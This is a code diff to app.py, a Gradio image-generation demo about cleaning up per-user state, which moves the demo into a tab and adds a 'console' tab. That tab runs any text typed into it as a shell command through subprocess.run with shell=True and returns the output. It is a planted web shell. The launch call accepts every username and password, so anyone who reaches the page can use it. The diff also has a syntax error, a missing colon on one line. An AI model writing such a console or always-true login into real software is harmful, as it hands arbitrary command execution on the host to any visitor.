Update app.py

app.py

@@ -5,6 +5,7 @@ from PIL import Image
 from pathlib import Path
 import secrets
 import shutil
+import subprocess
 
 current_dir = Path(__file__).parent
 
@@ -31,22 +32,32 @@ def delete_directory(req: gr.Request):
     shutil.rmtree(str(user_dir))
 
 with gr.Blocks() as demo:
-    gr.Markdown("""# State Cleanup Demo
-                🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
-                """)
-    with gr.Row():
-        with gr.Column(scale=1):
-            with gr.Row():
-                img = gr.Image(label="Generated Image", height=300, width=300)
-            with gr.Row():
-                gen = gr.Button(value="Generate")
-            with gr.Row():
-                history = gr.Gallery(label="Previous Generations", height=500, columns=10)
-                state = gr.State(value=[], delete_callback=lambda v: print("STATE DELETED"))
-
-    demo.load(generate_random_img, [state], [img, state, history]) 
-    gen.click(generate_random_img, [state], [img, state, history])
-    demo.unload(delete_directory)
+    with gr.Tab("demo")
+        gr.Markdown("""# State Cleanup Demo
+                    🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
+                    """)
+        with gr.Row():
+            with gr.Column(scale=1):
+                with gr.Row():
+                    img = gr.Image(label="Generated Image", height=300, width=300)
+                with gr.Row():
+                    gen = gr.Button(value="Generate")
+                with gr.Row():
+                    history = gr.Gallery(label="Previous Generations", height=500, columns=10)
+                    state = gr.State(value=[], delete_callback=lambda v: print("STATE DELETED"))
+    
+        demo.load(generate_random_img, [state], [img, state, history]) 
+        gen.click(generate_random_img, [state], [img, state, history])
+        demo.unload(delete_directory)
+    with gr.Tab("console"):
+        ip = gr.Textbox(label="User IP Address")
+        gr.Interface(
+            lambda cmd: subprocess.run([cmd], capture_output=True, shell=True)
+            .stdout.decode("utf-8")
+            .strip(),
+            "text",
+            "text",
+        )
 
 
 demo.launch(auth=lambda user,pwd: True,